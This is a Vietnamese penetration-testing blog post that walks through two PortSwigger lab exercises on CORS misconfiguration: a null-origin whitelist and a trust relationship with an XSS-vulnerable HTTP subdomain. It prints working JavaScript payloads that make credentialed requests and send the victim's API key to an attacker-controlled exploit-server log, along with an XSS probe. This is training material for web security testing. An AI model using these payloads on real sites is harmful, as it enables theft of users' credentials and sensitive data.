NỘI DUNG
Tiếp theo nội dung Penetration Testing Step 3 – Cross-Origin Resource Sharing – CORS attack 101, kỳ này tôi sẽ đi vào minh họa CORS attack với các tình huống thực tế hơn.
Cụ thể, một số ứng dụng có thể hỗ trợ multiple origins thông qua việc sự dụng allowed origin whitelist (tức là danh sách các origin được cấp phép). Lúc này, khi nhận một CORS request, ứng dụng sẽ soi kèo cái origin trong request rồi đối chiếu với allowed origin whitelist. Nếu xác nhận có thông tin tương ứng trong cái whitelist, con hàng origin này sẽ được “hồi quang phản chiếu” vô Access-Control-Allow-Origin header của response (và hiển nhiên được phép truy cập).
Câu chuyện tưởng chừng đơn giản dễ hiểu ở trên bỗng trở nên rối rắm khi mấy cha quản lý quyết định cho phép truy cập từ tất cả subdomain của đám origin được cấp phép (bao gồm cả mấy cái subdomain mà mấy bố chưa nghĩ ra!!!). Các quy luật cấp phép này thường sẽ được thực thi thông qua việc đối chiếu URL prefixes/suffixes (hoặc có thể dùng regular expression). Và đây là lúc mà sai lầm có thể xảy ra, ví dụ:
- Cấu hình cấp phép các domain kết thúc với com: Attacker đăng ký một domain kiểu muahahaxyz.com để hốt quyền truy cập;
- Cấu hình cấp phép cho các domain bắt đầu với com: Attacker đăng ký một domain kiểu xyz.com.mua.haha để hốt quyền truy cập.
Tất nhiên, thực tế, khả năng “ăn” được các con hàng do cấu hình lỗi kiểu như trên tương đối hiếm. Nhưng cũng không hề gì, tôi vẫn còn có một số đường binh khác để chấm mút ví dụ như:
- Khai thác null origin value;
- Khai thác trusted relationship.
Lưu ý:
- Như mọi khi, tôi cũng sẽ tận dụng các bài Lab dựng sẵn của ông PortSwigger để tiết kiệm thời gian dàn cảnh;
- Thông tin liên quan đến Burp Suite bạn có thể xem trong nội dung Penetration Testing Step 3 – 6 điều bạn nên biết trước khi xài tool khủng Burp Suite;
- Chi tiết việc sử dụng Burp Suite Repeater bạn có thể xem trong nội dung Penetration Testing Step 3 – Thủ thuật chọc ngoáy HTTP/WebSockets message với Burp Suite Repeater;
#1. Khai thác null origin value phục vụ CORS attack
Trong tình huống này, tôi sẽ khai thác cái specification hỗ trợ null value của Origin header. Thông thường, browser sẽ gửi null value trong Origin header trong các tình huống kiểu như request sử dụng file protocol hay sanboxed cross-origin request.
Khi đó, nếu ứng dụng whitelist null origin thì sẽ có khả năng bốc sh*t khi attacker sáng tác ra cross-origin request chứa null value trong Origin header giống như phần demo ngay sau đây.
Tôi bật Burp Suite lên để hốt traffic (nhưng chọn Interception off) rồi đăng nhập vào hệ thống với credentials quen thuộc wiener:peter.

Kiểm tra Burp Suite Proxy History, tôi cũng sẽ quan sát thấy API Key trả về với AJAX request đến /accountDetails như kỳ trước. Đồng thời, trong response cũng chứa cái Access-Control-Allow-Credentials header ngầm cho biết hệ thống có thể hỗ trợ CORS.

Đẩy hàng quan Burp Suite Repeater và send lại sau khi bổ sung cái Origin: null header, tôi nhận thấy nó được bê nguyên xi đưa vô Access-Control-Allow-Origin header trong response như sau.

Nhận thấy tình hình rất khả quan, tôi sáng tác ngay cái HTML với cái iframe sanbox như sau rồi đẩy vô phần body của Exploit Server.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Lưu ý:
- Cái YOUR-LAB-ID được minh hoạ tương ứng của tôi ở đây sẽ là 0a0e0089034a9443c0142bb9001300b1;
- Cái YOUR-EXPLOIT-SERVER-ID được minh hoạ tương ứng của tôi ở đây sẽ là exploit-0a5700ca034994b3c0982b6b019c001a;
- Cái iframe sanbox sẽ tạo ra null origin request như đề cập ở phần đầu.

Sau đó tôi có thể chọn Store và View exploit để kiểm hàng trong Access log để xác nhận sự hiện diện của API Key (của tôi).

Tất nhiên tôi cũng có thể dùng decode URL trong Burp Suite Decoder để kiểm tra cho tiện.

Sau khi đã xác nhận mọi chuyện êm đẹp tôi sẽ có thể gửi hàng đến nạn nhân với Deliver exploit to victim rồi kiểm tra Access Log để hốt API Key của nạn nhân (administrator).


#2. Khai thác trust relationships phục vụ CORS attack
Rồi, giờ tôi giả sử mấy cha quản lý không mắc sai lầm khi cấu hình CORS kiểu như trên nữa. Lúc này, dù không có lỗi lầm gì, việc cấp phép truy cập với CORS cũng sẽ thiết lập một thứ gọi là trust relationship (tạm dịch là “mối quan hệ đầy tin cậy”) giữa 2 origin đang xem xét. Và việc này có thể dẫn đến những “cơ hội” kiểu như sau.
Nếu chẳng may, website #1 (ứng với origin #1) lỡ “tin cậy” website #2 (ứng với origin #2) bị dính lỗi Cross-Site Scripting – XSS thì attacker sẽ có thể bơm hàng JavaScript vào và sử dụng CORS để trích xuất thông tin nhạy cảm từ website #1.
Ngoài ra, giả sử ứng dụng đã triển HTTPS chuẩn mực (và cả đám cookies flag đều đã thiết lập bảo mật) nhưng lại đi kèm với phương án whitelist trusted subdomain sử dụng HTTP. Lúc này, nếu có thể intercept traffic của nạn nhân, attacker cũng sẽ có thể khai thác CORS configuration theo các bước:
- Nạn nhân tạo HTTP request nào đấy;
- Attacker bơm vào một cái redirection đến cái trusted subdomain có lỗ hổng http://trusted-subdomain.vulnerable-website.com;
- Browser của nạn nhân xử lý follow cái redirect;
- Attack intercept cái HTTP request và trả về response giả mạo chứa CORS request đến cái domain có lỗ hổng http://vulnerable-website.com;
- Browser của nạn nhân thực hiện CORS request bao gồm cái origin http://trusted-subdomain.vulnerable-website.com;
- Ứng dụng cho phép request thực hiện (vì thuộc whitelisted origin) để tém đám dữ liệu nhạy cảm và trả về trong response;
- Trang web đểu do attacker dựng lên có thể đọc dữ liệu nhạy cảm và chuyển hàng về domain tùy chọn do attacker kiểm soát.
Kịch bản này nghe hơi rối rắm nên tôi sẽ minh họa cho rõ ngay sau đây.
Tương tự như tình huống trước đó, tôi cũng bật Burp Suite để hốt traffic (với Interception Off) rồi đăng nhập vào hệ thống. Kiểm tra cái Proxy History, tôi cũng sẽ quan sát thấy cái API Key được trả về tương ứng cho cái AJAX request đến /accountDetails. Đồng thời response cũng chứa cái Access-Control-Allow-Credentials header hàm ý mục tiêu có hỗ trợ CORS.

Sau khi đẩy hàng qua Burp Suite Repeater, khi thử đút thêm cái header kiểu Origin: http://subdomain.lab-id (Origin: http://subdomain.ac771fe51fd596b9c0220db9002c0044.web-security-academy.net như trường hợp minh họa bên dưới) vào request tôi sẽ ghi nhận cái đống này được hốt nguyên con đưa vào Access-Control-Allow-Origin header của response. Điều này hàm ý rằng CORS được thiết lập cho phép truy cập từ subdomain tùy ý với cả kiểu http.

Tôi quay lại trang chủ chọn đại một sản phẩm, bật Proxy Interception on (để can thiệp nhanh request) rồi chạy chức năng Check stock.

Lúc này, chỗ Proxy Intercept, tôi túm được cái cái request sử dụng http url tương ứng với subdomain stock như bên dưới.

Cái productID ở trên làm tôi nhớ về “người cũ XSS” như đề cập trong nội dung Penetration Testing Step 3 – Cross-Site Scripting – XSS là cái vẹo gì?. Tôi thử phang một đường cơ bản với <img src=1 onerror=alert(1)>
vào (tôi sẽ chạy URL encode bằng Burp Suite Decoder để đưa vào request test XSS).

Mông má hàng họ xong, tôi lấy sản phẩm (“%3c%69%6d%67%20%73%72%63%3d%31%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e
” trong trường hợp này) đẩy vô chỗ productId.

Và như tôi mong đợi, sau khi Forward cái request đã mông má, cái popup hiện lên khẳng định XSS có hiện hữu chỗ đối tượng productId.

Xác định thời cơ đã đến, tôi dựng ngay một đoạn script nhằm khai thác XSS chỗ productID có nội dung kiểu như sau rồi dí vào phần body bên Exploit Server.
<script>
document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };
%3c/script>&storeId=1"
</script>
Lưu ý:
- Cái YOUR-LAB-ID được minh hoạ tương ứng của tôi ở đây sẽ là ac771fe51fd596b9c0220db9002c0044;
- Cái YOUR-EXPLOIT-SERVER-ID được minh hoạ tương ứng của tôi ở đây sẽ là exploit-aced1f921f3996d8c0c00dff01b20096;

Sau khi chọn Store và Deliver exploit to victim, tôi sẽ có thể rung đùi mở Access log và hốt cái API key của nạn nhân administrator.


1 thought on “Penetration Testing Step 3 – Cross-Origin Resource Sharing – CORS attack – Tập 2”